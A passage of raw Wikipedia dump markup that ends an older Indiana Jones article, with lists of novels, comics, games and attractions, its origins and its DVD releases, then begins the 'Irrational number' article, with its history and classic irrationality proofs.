*Chapter 24: ''[[Raiders of the Lost Ark]]'' ([[1981]])
*Chapter 25: ''[[Indiana Jones and the Last Crusade|The Last Crusade]]'' ([[1989]])
*Chapter 26: ''[[Indiana Jones 4]]'' ([[2007]]) (categorized as &quot;in production&quot;)
*Chapter 27: (unproduced) Originally, George Lucas had signed a deal with Paramount Pictures for four theatrical sequels to ''Raiders of the Lost Ark''. After the first three, ''Raiders of the Lost Ark'', ''Indiana Jones and the Temple of Doom'', and ''Indiana Jones and the Last Crusade'', Lucas announced he was finished with the theatrical films, leaving two of his promised sequels unmade. He now has announced his work on the third sequel, ''Indiana Jones IV''. He now denies plans for a fourth sequel, claiming he never intended to do beyond three, but that the fourth film was &quot;a brilliant idea he had.&quot; In saying he had a deal for four sequels, one could also speculate that he might not have counted ''The Temple of Doom'' as a sequel, and instead a prequel, which it was. This would leave room open for yet another sequel that is yet to be produced.
*Chapter 28: (unproduced) Based on the fact that ''The Temple of Doom'' could be counted as a prequel, rather than a sequel.

=== Novels ===

Apart from novel adaptations of the movies, and several Young Indiana Jones episodes, there is also a series of original paperback novels about the adventures of Indiana Jones, and another series of novels about Young Indiana Jones for younger readers. In Germany, there was a series of adult novels by author [[Wolfgang Hohlbein]], and in France a Young Indiana Jones series by Joseph Jacobs and Richard Beugne. These are available only in German and French respectively.

'''Young Indiana Jones Novels by Random House'''

*''Young Indiana Jones' Titanic Adventure'' - by [[Les Martin]]
*''Young Indiana Jones and the Pirates Loot'' - by J. N. Fox
*''Young Indiana Jones and the Lost Gold of Durango'' - by Megan Stine and H. William Stine
*''Young Indiana Jones and the Plantation Treasure'' - by William McCay
*''Young Indiana Jones and the Tomb of Terror'' - by Les Martin
*''Young Indiana Jones and the Princess of Peril'' - by Les Martin
*''Young Indiana Jones and the Ghostly Riders'' - by William McCay
*''Young Indiana Jones and the Circle of Death'' - by William McCay
*''Young Indiana Jones and the Journey to the Underworld'' - by Megan Stine and H. William Stine
*''Young Indiana Jones and the Curse of the Ruby Cross'' - by William McCay
*''Young Indiana Jones and the Gypsy Revenge'' - by Les Martin
*''Young Indiana Jones and the Secret City'' - by Les Martin
*''Young Indiana Jones and the Mountain of Fire'' - by William McCay
*''Young Indiana Jones and the Face of the Dragon'' - by William McCay
*''Young Indiana Jones and the Eye of the Tiger'' - by William McCay

'''Young Indiana Jones Novels by Ballantine Books'''

*''The Mata Hari Affair'' - by [[James Luceno]]

'''Indiana Jones Adult Novels by Bantam Books'''

*''Indiana Jones and the Peril at Delphi'' - by Rob MacGregor
*''Indiana Jones and the Unicorn's Legacy'' - by Rob MacGregor
*''Indiana Jones and the Dance of the Giants'' - by Rob MacGregor
*''Indiana Jones and the Seven Veils'' - by Rob MacGregor
*''Indiana Jones and the Genesis Deluge'' - by Rob MacGregor
*''Indiana Jones and the Interior World'' - by Rob MacGregor
*''Indiana Jones and the Sky Pirates'' - by [[Martin Caidin]]
*''Indiana Jones and the White Witch'' - by Martin Caidin
*''[[Indiana Jones and the Philosopher's Stone]]'' - by Max McCoy
*''Indiana Jones and the Dinosaur Eggs'' - by Max McCoy
*''Indiana Jones and the Hollow Earth'' - by Max McCoy
*''Indiana Jones and the Secret of the Sphinx'' - by Max McCoy

'''German novels by Goldmann Verlag'''

*''Indiana Jones und das Schiff der Götter'' (''Indiana Jones And The Ship Of The Gods'') - by [[Wolfgang Hohlbein]]
*''Indiana Jones und die Gefiederte Schlange'' (''Indiana Jones And The Feathered Snake'') - by Wolfgang Hohlbein
*''Indiana Jones und das Gold von El Dorado'' (''Indiana Jones And The Gold Of El Dorado'') - by Wolfgang Hohlbein
*''Indiana Jones und das verschwundene Volk'' (''Indiana Jones And The Vanished People'') - by Wolfgang Hohlbein
*''Indiana Jones und das Schwert des Dschingis Khan'' (''Indiana Jones And The Sword of Genghis Khan'') - by Wolfgang Hohlbein
*''Indiana Jones und das Geheimnis der Osterinseln'' (''Indiana Jones And The Secret Of Easter Island'') - by Wolfgang Hohlbein
*''Indiana Jones und das Labyrinth des Horus'' (''Indiana Jones And The Labyrinth Of Horus'') - by Wolfgang Hohlbein
*''Indiana Jones und das Erbe von Avalon'' (''Indiana Jones And The Legacy Of Avalon'') - by Wolfgang Hohlbein

'''Find Your Fate Adventure Books by Ballantine Books'''

*''Indiana Jones and the Curse of Horror Island'' - by [[R. L. Stine]]
*''Indiana Jones and the Giants of the Silver Tower'' - by R. L. Stine
*''Indiana Jones and the Cult of the Mummy's Crypt'' - by R. L. Stine
*''Indiana Jones and the Cup of the Vampire'' - by Andrew Helfer
*''Indiana Jones and the Legion of Death'' - by Richard Wenk
*''Indiana Jones and the Eye of the Fates'' - by Richard Wenk
*''Indiana Jones and the Dragon of Vengeance'' - by Megan Stine
*''Indiana Jones and the Lost Treasure of Sheba'' - by [[Rose Estes]]
*''Indiana Jones and the Gold of Genghis Khan'' - by Ellen Weiss
*''Indiana Jones and the Ape Slaves of Howling Island'' - by R. L. Stine

=== Comics ===

There was a [[comic book]] published by [[Marvel Comics]] in the early [[1980s]] featuring the talents of [[John Byrne]] among others. Later [[Dark Horse Comics]] produced a number of Indiana Jones Comics. Indy also had a cameo in a [[Star Wars]] story in an issue of the Star Wars Tales comic books.

'''Dark Horse Comics Stories'''

*Indiana Jones and the Shrine of the Sea Devil
*Indiana Jones and the Arms of Gold
*Indiana Jones: Thunder in the Orient
*Indiana Jones and the Fate of Atlantis
*Indiana Jones and the Sargasso Pirates
*Indiana Jones and the Dance of Death
*Indiana Jones and the Golden Fleece
*Indiana Jones and the Spear of Destiny
*Indiana Jones and the Iron Phoenix

'''Marvel Comics The Further Adventures of Indiana Jones Stories'''

*Ikons of Ikammanen
*The Devil's Cradle
*Gateway to Infinity
*Club Nightmare
*Africa Screams
*The Gold Goddess
*The Fourth Nail
*Deadly Rock
*Demons
*The Sea Butchers
*The Search for Abner Ravenwood
*The Cuban Connection
*Beyond the Lucifer Chamber
*End Run
*Dragon by the Tail
*The Secret of the Deep
*Revenge of the Ancients
*Good as Gold
*Trail of the Golden Guns
*Tower of Tears
*Shot by Both Sides
*Fireworks
*Big Game
*Double Play
*Magic, Murder &amp; The Weather
*Something’s Gone Wrong Again

'''''Star Wars'' Tales'''

*''Star Wars'' Tales #19: Into the Great Unknown

=== Video games ===

Various video and computer [[games]] have also been produced. The games include:

*''[[Raiders of the Lost Ark (Atari 2600)|Raiders of the Lost Ark]]'' ([[Atari 2600]])
*''Indiana Jones and the Temple of Doom'' (arcade)
*''Indiana Jones and the Temple of Doom'' (Nintendo Entertainment System)
*''Indiana Jones and the Temple of Doom'' (C64)
*''Indiana Jones and the Last Crusade: The Action Game'' (C64, Amiga, Macintosh, PC)
*''[[Indiana Jones and the Last Crusade: The Graphic Adventure]]'' (C64, Amiga, Macintosh, PC)
*''Indiana Jones and the Last Crusade'' (Nintendo Entertainment System - Taito)
*''Indiana Jones and the Last Crusade'' (Nintendo Entertainment System - Ubi Soft)
*''The Young Indiana Jones Chronicles'' (Nintendo Entertainment System)
*''Indiana Jones and the Last Crusade'' (Nintendo Game Boy)
*''Indiana Jones and the Last Crusade'' (Sega Master System - European release)
*''Indiana Jones and the Last Crusade'' (Sega Genesis)
*''Instruments of Chaos starring Young Indiana Jones'' (Sega Genesis)
*''Indiana Jones and the Last Crusade'' (Sega Game Gear)
*''Indiana Jones' Greatest Adventures'' (Super Nintendo Entertainment System)
*''Indiana Jones in Revenge of The Ancients'' (PC)
*''[[Indiana Jones and the Fate of Atlantis]]'' (PC, Amiga, Macintosh, C64) (also a comic book of the same name)
*''Indiana Jones and the Lost Kingdom'' (C64)
*''Indy's Desktop Adventures'' (PC)
*''[[Indiana Jones and the Infernal Machine]]'' (PC, Nintendo 64, Nintendo Game Boy Color)
*''[[Indiana Jones and the Emperor's Tomb]]'' (PC, PlayStation 2, Microsoft Xbox)
*Untitled 2007 game; likely of the same title as the 2007 film

=== Attractions ===

[[Image:Indiana_Jones_Stunt_Spectacular.jpg|thumb|right|200px|Action on the set of the ''Indiana Jones'' Epic Stunt Spectacular]] 
George Lucas has collaborated with [[Walt Disney Imagineering]] on four occasions to create attractions for [[Walt Disney Parks and Resorts|Disney theme parks]] worldwide:

*The &quot;Indiana Jones et le Temple du Péril&quot; rollercoaster opened at [[Disneyland Paris]] in [[Marne-la-Vallee]], [[France]], in [[1993]].
*The &quot;[[Indiana Jones Adventure|Indiana Jones and the Temple of the Forbidden Eye]]&quot; opened in [[Disneyland]] in [[Anaheim, California]], in [[1995]]. 
*The &quot;Indiana Jones Epic Stunt Spectacular&quot; show opened at the [[Disney-MGM Studios]] in [[Lake Buena Vista, Florida]] in [[1998]].
*The &quot;[[Indiana Jones Adventure|Indiana Jones and the Temple of the Crystal Skull]]&quot; opened at [[Tokyo DisneySea]] in [[Chiba]], [[Japan]], with the park in [[2001]].

=== Pinball ===

''Indiana Jones: The Pinball Adventure'' (1993, [[Williams (gaming company)|Williams]]), designed by Mark Ritchie, is a widebody [[pinball]] game that features sound clips from all three theatrical films, and features 12 different stages (four stages each based on different scenes from the movies, including three video modes). If you complete all 12 stages, you will enter the game's &quot;Wizard Mode&quot;, called ''Eternal Life''.

This was the first game to use Williams/Midway's DCS Sound System, with the music composed by [[Chris Granner]].

== Origins ==

[[Image:Indiana Jones 1.jpg|thumb|right|250px|Indiana Jones with his famous bull-whip.]]
Indiana Jones, &quot;Obtainer of Rare [[Antiquities]],&quot; is modeled after the strong-jawed heroes of the matinee [[serial]]s and [[pulp magazine]]s that Lucas and Spielberg enjoyed in their childhoods, such as the [[Republic Pictures]] [[serial]]s, and [[Doc Savage]].   The two friends first discussed the project while in [[Hawaii]] during the time of release of the first ''[[Star Wars]]'' film.  Spielberg told Lucas how he wanted to direct a [[James Bond]] film. Lucas responded that he had something better than that.

Spielberg wanted Indiana to be a James Bond-like figure that got into difficult situations and worked his way out. Upon requests by Spielberg and Lucas the costume designer was given the task to make the character have a distinctive recognizable silhouette through the style of the hat (much like [[Dick Tracy]]). After examining many hats, the designers chose an urban version of the classic [[Australia]]n [[fedora (hat)|fedora]], the [[Akubra]]. The original fedora for the movie trilogy was constructed by Mr. Swales of Herbert Johnson Hatters in [[London]], [[England]]. Although multiple hats were used throughout the movies, the distinctive profile of the fedoras remained the same. Today, the collection of props and clothing from the films, especially the fedora, has become a subculture/hobby for aficianados of the Indiana Jones franchise. Other elements of the outfit include the jacket, the bag, which was a modified [[World War II]] gas mask bag; and the whip. 

Indy's revolver is a .38/200 calibre Webley Mk IV, but he is also seen with the .45ACP Colt M1911A1, the 9mm [[Browning Hi-Power]], the Webley Mk VI, and the Smith &amp; Wesson New Century (both in .455 Webley calibre) in the movies, as well as a .45 ACP Smith &amp; Wesson Hand Ejector 2nd model. [http://www.indygear.com/gear/guns.shtml]

[[Tom Selleck]] was the first choice for the role, but couldn't get out of a television series commitment ([[Magnum, P.I.]]), so Lucas went with Harrison Ford, who he had worked with previously on ''[[American Graffiti]]'' and his ''[[Star Wars]]'' films. 

Many people have been called the real-life inspiration of the Indiana Jones character.  Probably the most cited person is famous [[paleontologist]] [[Roy Chapman Andrews]]. Another person cited as a possible inspiration is the Italian [[archaeologist]] and circus [[strongman (strenth athlete)|strongman]] [[Giovanni Battista Belzoni]] (1778&amp;ndash;1823).  Religious archaeologist [[Vendyl Jones|Vendyl &quot;Texas&quot; Jones]] claims that he was the inspiration, citing his names (he notes that his first name trimmed becomes Endy &amp;mdash; very similar to Indy), but this claim has reportedly been denied by Spielberg. Other candidates include explorer [[Gene Savoy]] [http://umanitoba.fitdv.com/new/articles/article.html?artid=383], [[Yale University]] historian and explorer [[Hiram Bingham III]] and [[University of Chicago]] archeologist Robert Braidwood [http://maroon.uchicago.edu/news/articles/2003/01/21/obituary_robert_and_.php]. Another very strong candidate is the famed adventurer and anthropologist Schuyler Jones. [http://www.harrisliterary.com/jones.html]  However, the most likely inspiration was the fictional character [[Allan Quatermain]]. 

The character was originally named Indiana Smith, but Spielberg disliked the name and Lucas casually suggested &quot;Indiana Jones&quot;.  The name was thus changed early in the production of ''Raiders of the Lost Ark''.  The origin of the name &quot;Indiana&quot; is the same in the real world as in the fiction: It was the name of an [[Alaskan malamute]] Lucas had in the 1970s (the same dog was also the inspiration for [[Chewbacca]]).  His name is also said to be derived from the character &quot;Nevada Smith,&quot; played by [[Steve McQueen]] in the [[1966]] film of the [[Nevada Smith|same name]].

Spielberg also admitted that an important inspiration for the style and atmosphere of the adventures of Indiana Jones were the adventures of the Belgian comic character [[Tintin]] by [[Hergé]].

== Portrayers ==

*[[Corey Carrier]] (Chapters 1-5) (ages 9-11)
*[[River Phoenix]] (Chapter 25) (age 13)
*[[Sean Patrick Flanery]] (Chapters 6-22) (ages 17-21)
*[[Harrison Ford]] (Chapter 20, Chapters 23-26) (ages 36-39, 50)
*[[George Hall (actor)|George Hall]] (Chapters 1-22) (age 93)

== DVD release ==

=== TV films ===

The DVDs for Chapters 1-22 are expected to be released sometime in 2007, according to a statement by series producer, [[Rick McCallum]] of [[Lucasfilm]]. The company has already put in two years of work on creating these DVDs, so as to have bonus features for each movie.

McCallum expects there to be 22 ''Young Indiana Jones Chronicles'' DVDs in all, 3 of which have been completed. The discs will include some 66 historical featurettes, now in production. Work has been ongoing for about 18 months on the ''Young Indy'' DVDs, with about another 18 months worth of work yet to be done. If all goes well, the plan is to tie the DVD release to the theatrical debut of Indy IV.

=== Theatrical films ===

[[Image:IndyDVD's.jpg|thumb|right|200px|The 2003 DVD release of Chapters 23-25.]]
Chapters 23-25 of the Indiana Jones series (''The Temple of Doom'', ''Raiders of the Lost Ark'', and ''The Last Crusade'', respectively) were released on DVD as a boxed set of all three films plus a fourth disc of bonus materials in 2003.

'''Features'''

*Available Subtitles (US edition): English, Spanish, French
*Available Audio Tracks (US edition): English (Dolby Digital 5.1), Spanish (Dolby Digital 2.0 Surround), French (Dolby Digital 2.0 Surround)
*Contains all three films in their original format (2.35:1 anamorphic widescreen aspect ratio or in Pan and Scan format), restored and digitally remastered

'''Bonus disc features'''

*A new, feature-length documentary of the making of the trilogy
*From the Lucasfilm Archives:
**''The Stunts of Indiana Jones''
**''The Sound of Indiana Jones''
**''The Music of Indiana Jones''
**''The Light and Magic of Indiana Jones''
*Original trailers
*Weblink to exclusive content including dozens of behind-the-scenes photos, an animatic sequence from Raiders and a PC game preview

== References ==

*&quot;[http://www.indianajones.com/raiders/bts/news/news20030923.html Making ''Raiders of the Lost Ark''].&quot; September 23, 2003. [http://www.indianajones.com/ IndianaJones.com].

== See also ==

*[[Tomb Raider]]/[[Lara Croft]]
*[[Relic Hunter]]

== External links ==

{{Wikiquote}}
*[http://www.indianajones.com/ IndianaJones.com; the official Indiana Jones site]
*[http://www.theraider.net TheRaider.net; the primary fan site of the series]
*[http://indianajones.wikicities.com The Indiana Jones Wiki]
*[http://www.theindyexperience.com The Indy Experience]
*[http://www.indyfan.com/ IndyFan.com a popular Indy fan site]
*[http://www.mobygames.com/game_group/sheet/gameGroupId,80/ Moby Games' list of Indiana Jones video games]
*[http://www.indygear.com/ IndyGear.com, a site that details where to procure the Fedora, Jacket, and Bullwhip synonymous with Indiana Jones]
*[news:alt.movies.indiana-jones alt.movies.indiana-jones] ([[Usenet]] newsgroup)
*[http://www.indy-net.co.uk/ Indy-Net.co.uk] - UK-based fan site
*[http://www.seedwiki.com/wiki/chronology_central/indiana_jones.cfm?wpid=183410 Chronology Central's Indiana Jones page] - Site contains a chronological reading/viewing order listing for all of the Indiana Jones films, episodes, novels, comic books and video games in the Indiana Jones continuity.
*[http://www.indyville.net IndyVille] Finnish Indiana Jones fansite

{{Indiana Jones}}

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[[Category:Pulp heroes and villians|Jones, Indiana]]
[[Category:Fictional teachers|Jones, Indiana]]

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    <title>Irrational number</title>
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      <text xml:space="preserve">In [[mathematics]], an '''irrational number''' is any [[real number]] that is not a [[rational number]], i.e., one that cannot be written as a ratio of two [[integer]]s, i.e., it is not of the form 
:&lt;math&gt;\frac{a}{b}&lt;/math&gt;
where ''a'' and ''b'' are integers and ''b'' is not zero. It can readily be shown that the irrational numbers are precisely those numbers whose expansion in any given base (decimal, binary, etc) never ends and never enters a periodic pattern, but no [[mathematician]] takes that to be a ''definition''. [[Almost all]] real numbers are irrational, in a sense which is defined more precisely below.

Some irrational numbers are [[algebraic number]]s, such as &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt;, the [[square root]] of [[two]], and &lt;sup&gt;3&lt;/sup&gt;&amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;5&lt;/font&gt;, the [[cube root]] of 5, and the [[golden ratio]], symbolized by the [[Greek alphabet|Greek letter]] '''&lt;math&gt;\varphi&lt;/math&gt;''' ([[phi]]) or less commonly by '''&lt;math&gt;\tau&lt;/math&gt;''' ([[tau]]); others  are [[transcendental number]]s such as [[pi|&amp;pi;]] and ''[[e (mathematical constant)|e]]''.

When the [[ratio]] of lengths of two line segments is irrational, the line segments are also described as being ''[[commensurability (mathematics)|incommensurable]]'', meaning they share no measure in common.  A ''measure'' of a line segment ''I'' in this sense is a line segment ''J'' that &quot;measures&quot; ''I'' in the sense that some whole number of copies of ''J'' laid end-to-end occupy the same length as ''I''.
 
== History ==
The earliest known use of irrational numbers was in the [[Indian mathematics|Indian]] [[Sulba Sutras]] composed between [[800 BC|800]]-[[500 BC]]. The first proof of irrational numbers is usually attributed to [[Pythagoras]], more specifically to the [[Pythagorean]] [[Hippasus|Hippasus of Metapontum]], who produced a (most likely geometrical) proof of the irrationality of the [[square root of two|square root of 2]]. The story goes that Hippasus discovered irrational numbers when trying to represent the square root of 2 as a fraction (proof below). However [[Pythagoras]] believed in the absoluteness of numbers, and could not accept the existence of irrational numbers. He could not disprove their existence through logic, but his beliefs would not accept the existence of irrational numbers and so he sentenced Hippasus to death by drowning. Later Greek mathematicians, such as [[Theaetetus (mathematician)|Theaetetus]] and [[Eudoxus of Cnidus|Eudoxus]] worked with other quadratic irrationalities. ''[[Euclid's Elements]]'' Book 10 is dedicated to classification of irrational magnitudes.

The sixteenth century saw the final acceptance of [[negative and non-negative numbers|negative]], integral and [[fraction (mathematics)|fractional]] numbers. The seventeenth century saw decimal fractions with the modern notation quite generally used by mathematicians. The next hundred years saw the imaginary become a powerful tool in the hands of [[Abraham de Moivre]], and especially of [[Leonhard Euler]]. For the nineteenth century it remained to complete the theory of [[complex number]]s, to separate irrationals into algebraic and transcendental, to prove the existence of [[transcendental number]]s, and to make a scientific study of a subject which had remained almost dormant since [[Euclid]], the theory of irrationals. The year 1872 saw the publication of the theories of [[Karl Weierstrass]] (by his pupil [[Kossak]]), [[Heine]] (''[[Crelle]]'', 74), [[Georg Cantor]] (Annalen, 5), and [[Richard Dedekind]]. [[Méray]] had taken in 1869 the same point of departure as [[Heine]], but the theory is generally referred to the year 1872. Weierstrass's method has been completely set forth by [[Pincherle]] (1880), and Dedekind's has received additional prominence through the author's later work (1888) and the recent endorsement by [[Paul Tannery]] (1894). Weierstrass, Cantor, and Heine base their theories on infinite series, while Dedekind founds his on the idea of a [[Dedekind cut|cut (Schnitt)]] in the system of [[real number]]s, separating all [[rational number]]s into two groups having certain characteristic properties. The subject has received later contributions at the hands of Weierstrass, [[Kronecker]] (Crelle, 101), and Méray.

[[Continued fraction]]s, closely related to irrational numbers (and due to Cataldi, 1613), received attention at the hands of [[Euler]], and at the opening of the nineteenth century were brought into prominence through the writings of [[Joseph Louis Lagrange]]. Other noteworthy contributions have been made by [[Druckenmüller]] (1837), [[Kunze]] (1857), [[Lemke]] (1870), and [[Günther]] (1872). [[Ramus]] (1855) first connected the subject with [[determinant]]s, resulting, with the subsequent contributions of Heine, [[August Ferdinand Möbius|Möbius]], and [[Günther]], in the theory of Kettenbruchdeterminanten. Dirichlet also added to the general theory, as have numerous contributors to the applications of the subject.

[[Johann Heinrich Lambert|Lambert]] proved (1761) that &amp;pi; cannot be rational, and that ''e''&lt;sup&gt;''n''&lt;/sup&gt; is irrational if ''n'' is rational (unless ''n'' = 0), a proof, however, which left much to be desired. [[Legendre]] (1794) completed Lambert's proof, and showed that &amp;pi; is not the square root of a rational number. [[Paolo Ruffini]] (1799) first proof, (largly ignored) of [[Abel–Ruffini theorem]] that the general [[Quintic equation|quintic]] or higher equations cannot be solved by a general formula involving only arithmetical operations and roots. [[Évariste Galois]] (1831) sends a memoir to the French Academy of Science: ''On the condition of solvability of equations by radicals'', later developed into [[Galois theory]] which has been central to the proof that &amp;pi; and ''e'' are transcendental. [[Joseph Liouville]] (1840) showed that neither ''e'' nor ''e''&lt;sup&gt;2&lt;/sup&gt; can be a root of an integral [[quadratic equation]]. [[Niels Henrik Abel]] (1842) partially proves the Abel–Ruffini theorem. The existence of transcendental numbers was first established by Liouville (1844, 1851), the proof being subsequently displaced by Georg Cantor (1873). [[Charles Hermite]] (1873) first proved &lt;math&gt;e&lt;/math&gt; transcendental, and [[Ferdinand von Lindemann]] (1882), starting from Hermite's conclusions, showed the same for &amp;pi;.  Lindemann's proof was much simplified by Weierstrass (1885), still further by [[David Hilbert]] (1893), and has finally been made elementary by [[Adolf Hurwitz]] and [[Paul Albert Gordan]].

== The square root of 2 ==

One proof of the irrationality of the square root of 2 is the following [[reductio ad absurdum]].    The proposition is proved by assuming the negation and showing that that leads to a contradiction, which means that the proposition must be true.

# Assume that &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; is a rational number. This would mean that there exist integers ''a'' and ''b'' such that ''a'' / ''b'' = &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt;.
# Then &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; can be written as an [[irreducible fraction]] (the fraction is shortened as much as possible) ''a'' / ''b'' such that ''a'' and ''b'' are [[coprime]] integers and (''a'' / ''b'')&lt;sup&gt;2&lt;/sup&gt; = 2.
# It follows that ''a''&lt;sup&gt;2&lt;/sup&gt; / ''b''&lt;sup&gt;2&lt;/sup&gt; = 2 and ''a''&lt;sup&gt;2&lt;/sup&gt; = 2 ''b''&lt;sup&gt;2&lt;/sup&gt;.
# Therefore ''a''&lt;sup&gt;2&lt;/sup&gt; is even because it is equal to 2 ''b''&lt;sup&gt;2&lt;/sup&gt; which is obviously even.
# It follows that ''a'' must be even. (Odd numbers have odd squares and even numbers have even squares.)
# Because ''a'' is even, there exists a ''k'' that fulfills: ''a'' = 2''k''.
# We insert the last equation of (3) in (6): 2''b''&lt;sup&gt;2&lt;/sup&gt; = (2''k'')&lt;sup&gt;2&lt;/sup&gt; is equivalent to 2''b''&lt;sup&gt;2&lt;/sup&gt; = 4''k''&lt;sup&gt;2&lt;/sup&gt; is equivalent to ''b''&lt;sup&gt;2&lt;/sup&gt; = 2''k''&lt;sup&gt;2&lt;/sup&gt;.
# Because 2''k''&lt;sup&gt;2&lt;/sup&gt; is even it follows that ''b''&lt;sup&gt;2&lt;/sup&gt; is also even which means that ''b'' is even because only even numbers have even squares.
# By (5) and (8) ''a'' and ''b'' are both even, which contradicts that ''a'' / ''b'' is irreducible as stated in (2).

Since we have found a contradiction the assumption (1) that &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; is a rational number must be false. The opposite is proven. &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; is irrational.

This proof can be generalized to show that any root of any [[natural number]] is either a natural number or irrational.

=== Another proof ===

Another reductio ad absurdum showing that &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; is irrational is less well-known and has sufficient charm that it is worth including here.  It proceeds by observing that if &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; = ''m''/''n'' then &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; = (2''n'' &amp;minus; ''m'')/(''m'' &amp;minus; ''n''), so that a fraction [[in lowest terms]] is reduced to yet lower terms.  That is a contradiction if ''n'' and ''m'' are positive integers, so the assumption that &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; is rational must be false.  It is possible to construct from an isosceles right triangle whose leg and hypotenuse have respective lengths ''n'' and ''m'', by a classic [[ruler-and-compass construction]], a smaller isosceles right triangle whose leg and hypotenuse have respective lengths ''m'' &amp;minus; ''n'' and 2''n'' &amp;minus; ''m''.  That construction proves the irrationality of &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; by the kind of method that was employed by ancient Greek geometers.

=== The golden ratio ===

When a line segment is divided into two disjoint subsegments in such a way that the ratio of the whole to the longer part equals the ratio of the longer part to the shorter part, then that ratio is the [[golden ratio]], equal to

:&lt;math&gt;\varphi={1+\sqrt{5} \over 2}.&lt;/math&gt;

Assume this is a rational number ''n''/''m'' in lowest terms.  Take ''n'' to be the length of the whole and ''m'' the length of the longer part.  Then the length of the shorter part is ''n''&amp;nbsp;&amp;minus;&amp;nbsp;''m''.  Then we have

:&lt;math&gt;{n \over m}={\mathrm{whole} \over \mathrm{longer}\ \mathrm{part}}
={\mathrm{longer}\ \mathrm{part} \over \mathrm{shorter}\ \mathrm{part}}
={m \over n-m}.&lt;/math&gt;

But this puts a fraction already in lowest terms into ''lower terms''&amp;mdash;a contradiction.  Therefore the initial assumption that &amp;phi; is rational is false.

== Transcendental and algebraic irrationals ==
[[Almost all]] irrational numbers are transcendental and all [[transcendental number]]s are irrational: the article on transcendental numbers lists several examples. ''e''&lt;sup&gt;''r''&lt;/sup&gt; and &amp;pi;&lt;sup&gt;''r''&lt;/sup&gt; are irrational if ''r'' &amp;ne; 0 is rational; ''e''&lt;sup&gt;&amp;pi;&lt;/sup&gt; is also irrational.

Another way to construct irrational numbers is as irrational [[algebraic number]]s, i.e. as zeros of [[polynomial]]s with integer coefficients: start with a polynomial equation 
:''p''(''x'') = ''a&lt;sub&gt;n&lt;/sub&gt; x&lt;sup&gt;n&lt;/sup&gt;'' + ''a''&lt;sub&gt;''n''-1&lt;/sub&gt; ''x''&lt;sup&gt;''n''&amp;minus;1&lt;/sup&gt; + ... + ''a''&lt;sub&gt;1&lt;/sub&gt; ''x'' + ''a''&lt;sub&gt;0&lt;/sub&gt; = 0
where the coefficients ''a''&lt;sub&gt;''i''&lt;/sub&gt; are integers. Suppose you know that there exists some real number ''x'' with ''p''(''x'') = 0 (for instance if ''n'' is odd and ''a''&lt;sub&gt;''n''&lt;/sub&gt; is non-zero, then because of the [[intermediate value theorem]]). The only possible rational roots of this polynomial equation are of the form ''r''/''s'' where ''r'' is a [[divisor]] of ''a''&lt;sub&gt;0&lt;/sub&gt; and ''s'' is a divisor of ''a''&lt;sub&gt;''n''&lt;/sub&gt;; there are only finitely many such candidates which you can all check by hand. If neither of them is a root of ''p'', then ''x'' must be irrational. For example, this technique can be used to show that ''x'' = (2&lt;sup&gt;1/2&lt;/sup&gt; + 1)&lt;sup&gt;1/3&lt;/sup&gt; is irrational: we have (''x''&lt;sup&gt;3&lt;/sup&gt; &amp;minus; 1)&lt;sup&gt;2&lt;/sup&gt; = 2 and hence ''x''&lt;sup&gt;6&lt;/sup&gt; &amp;minus; 2''x''&lt;sup&gt;3&lt;/sup&gt; &amp;minus; 1 = 0, and this latter polynomial does not have any rational roots (the only candidates to check are ±1).

Because the algebraic numbers form a [[field (mathematics)|field]], many irrational numbers can be constructed by combining transcendental and algebraic numbers. For example 3&amp;pi;+2, &amp;pi; + &amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;2&lt;/font&gt; and ''e''&amp;radic;&lt;font style=&quot;text-decoration: overline&quot;&gt;3&lt;/font&gt; are irrational (and even transcendental).

== Logarithms ==

Perhaps the numbers most easily proved to be irrational are certain logarithms.  Here is a proof by [[reductio ad absurdum]] that log&lt;sub&gt;2&lt;/sub&gt;3 is irrational:

* Assume log&lt;sub&gt;2&lt;/sub&gt;3 is rational.  For some positive integers ''m'' and ''n'', we have log&lt;sub&gt;2&lt;/sub&gt;3 = ''m''/''n''. 
* It follows that 2&lt;sup&gt;''m''/''n''&lt;/sup&gt; = 3. 
* Raise each side to the ''n'' power, find 2&lt;sup&gt;''m''&lt;/sup&gt; = 3&lt;sup&gt;''n''&lt;/sup&gt;.
* But 2 to any integer power greater than 0 is even (because at least one of its prime factors is 2) and 3 to any integer power greater than 0 is odd (because none of its prime factors is 2), so the original assumption is false.

Similar cases such as log&lt;sub&gt;10&lt;/sub&gt;2 can be treated similarly.

==Decimal expansions==

It is often erroneously assumed that mathematicians define &quot;irrational number&quot; in terms of decimal expansions, calling a number irrational if its [[decimal]] expansion neither repeats nor terminates.  No mathematician takes that to be the definition, since the choice of base 10 would be arbitrary and since the standard definition is simpler and more well-motivated.  Nonetheless it is true that a number is of the form ''n''/''m'' where ''n'' and ''m'' are integers, if and only if its decimal expansion repeats or terminates.  When the [[long division]] algorithm that everyone learns in grammar school is applied to the division of ''n'' by ''m'', only ''m'' remainders are possible.  If 0 appears as a remainder, the decimal expansion terminates.  If 0 never occurs, then the algorithm can run at most ''m'' &amp;minus; 1 steps without using any remainder more than once.  After that, a remainder must recur, and then the decimal expansion repeats!  Conversely, suppose we are faced with a [[recurring decimal]], for example:

:&lt;math&gt;A=0.7\,162\,162\,162\,\dots&lt;/math&gt;

Since the length of the repitend is 3, multiply by 10&lt;sup&gt;3&lt;/sup&gt;:

:&lt;math&gt;1000A=7\,16.2\,162\,162\,\dots&lt;/math&gt;

and then subtract A from both sides:

:&lt;math&gt;999A=715.5\,.&lt;/math&gt;

Then

:&lt;math&gt;A=\frac{715.5}{999}=\frac{7155}{9990}=\frac{135\times 53}{135\times 74}=\frac{53}{74}.&lt;/math&gt;

